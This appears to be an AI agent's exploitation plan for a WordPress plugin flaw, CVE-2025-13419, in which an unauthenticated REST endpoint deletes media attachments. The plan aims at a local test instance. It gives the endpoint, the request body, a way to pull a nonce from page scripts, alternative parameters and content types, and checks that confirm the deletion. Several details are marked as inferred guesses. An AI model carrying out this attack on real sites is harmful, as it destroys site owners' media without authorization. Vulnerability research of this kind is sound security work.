Exploitation Research Plan: CVE-2025-13419 (WP Front User Submit)

1. Vulnerability Summary

The WP Front User Submit (Guest posting / Frontend Posting / Front Editor) plugin for WordPress is vulnerable to unauthorized media deletion. The vulnerability exists in the REST API endpoint /wp-json/bfe/v1/revert, which lacks proper capability checks (permission_callback). This allows unauthenticated attackers to delete any media attachment from the WordPress library by providing its attachment ID.

2. Attack Vector Analysis

• Endpoint: /wp-json/bfe/v1/revert
• HTTP Method: POST (Inferred for a "revert/delete" action)
• Vulnerable Parameter: Likely id or attachment_id (Inferred)
• Authentication: None required (Unauthenticated)
• Preconditions: The attacker must know the numeric ID of the media attachment they wish to delete.

3. Code Flow

1. Route Registration: The plugin registers the REST route in a callback hooked to rest_api_init.
   • File: Likely includes/class-wp-front-user-submit-rest.php or similar.
   • Function: register_rest_route( 'bfe/v1', '/revert', ... ).
   • The Bug: The permission_callback for this route is either missing, returns __return_true, or does not check if the current user has the delete_posts or manage_options capability.
2. Request Handling: When a POST request hits /wp-json/bfe/v1/revert, the handler function is invoked.
3. Sink: The handler takes an ID from the request and passes it directly to wp_delete_attachment($id, true).
   • The Bug: There is no check to ensure the ID belongs to a post created by the current session or that the user has any rights to modify the media library.

4. Nonce Acquisition Strategy

While the vulnerability is described as unauthenticated and missing authorization, WordPress REST API endpoints often expect a nonce in the X-WP-Nonce header if the request is made from a browser session. However, for a truly unauthenticated vulnerability in a REST endpoint, the code often fails to check this nonce or the permission_callback is explicitly set to __return_true.

To check for and acquire a nonce (if required):

1. Identify Shortcode: Find the shortcode used for the frontend editor (likely [wp_front_user_submit] or similar).
2. Create Page: wp post create --post_type=page --post_status=publish --post_title="Submit" --post_content='[wp_front_user_submit]'
3. Extract Nonce:
   • Navigate to the new page using browser_navigate.
   • Inspect the page source for localized scripts. Look for a variable like bfe_settings or wpfs_options.
   • JS Command: browser_eval("window.bfe_settings?.nonce") or browser_eval("window.wp_front_user_submit?.nonce").
4. Action check: Compare the wp_create_nonce action in the source with the wp_verify_nonce action in the REST handler. If they don't match, the nonce check might be bypassable.

5. Exploitation Strategy

The exploit will attempt to delete a target attachment via a direct REST API call.

Step-by-Step:

1. Discovery: Determine the target attachment ID (e.g., ID 123).
2. Request Construction:
   • URL: http://localhost:8080/wp-json/bfe/v1/revert
   • Method: POST
   • Headers: Content-Type: application/json
   • Body: {"id": 123} (Verify the key name id in the plugin's REST handler first).
3. Execution: Use the http_request tool to send the payload.
4. Verification: Check if the attachment still exists in the database.

6. Test Data Setup

1. Create Target Media:
   • Download a test image: curl -o /tmp/test.jpg https://placehold.co/600x400.jpg
   • Import to WordPress: wp media import /tmp/test.jpg --porcelain
   • Record the resulting ID (e.g., TARGET_ID).
2. Identify Endpoint Parameter:
   • Search the plugin code for the string revert.
   • grep -r "revert" wp-content/plugins/front-editor/
   • Identify the handler function and the parameter name used for the attachment ID (e.g., $params['id']).

7. Expected Results

• Success: The REST API returns a 200 OK or 204 No Content (or a JSON success message).
• Effect: The media file at wp-content/uploads/... is deleted from the filesystem, and its entry is removed from the wp_posts and wp_postmeta tables.

8. Verification Steps

1. Check Database: wp post exists <TARGET_ID>
   • If the exploit worked, this should return an error or indicate the post does not exist.
2. Check Filesystem: wp post get <TARGET_ID> --field=guid (before exploit) and then verify the file is gone from the uploads directory.
3. Check Media List: wp media list to ensure the ID is no longer present.

9. Alternative Approaches

• Parameter Variation: If id fails, try attachment_id, media_id, or post_id.
• Content-Type Variation: If application/json fails, try application/x-www-form-urlencoded with body id=<TARGET_ID>.
• Query Parameter: Try passing the ID via GET query string if POST fails: /wp-json/bfe/v1/revert?id=<TARGET_ID>.
• Nonce Requirement: If the response is 403 Forbidden with "Rest Cookie Invalid", use the browser_eval method described in Section 4 to obtain a nonce and include it as X-WP-Nonce header.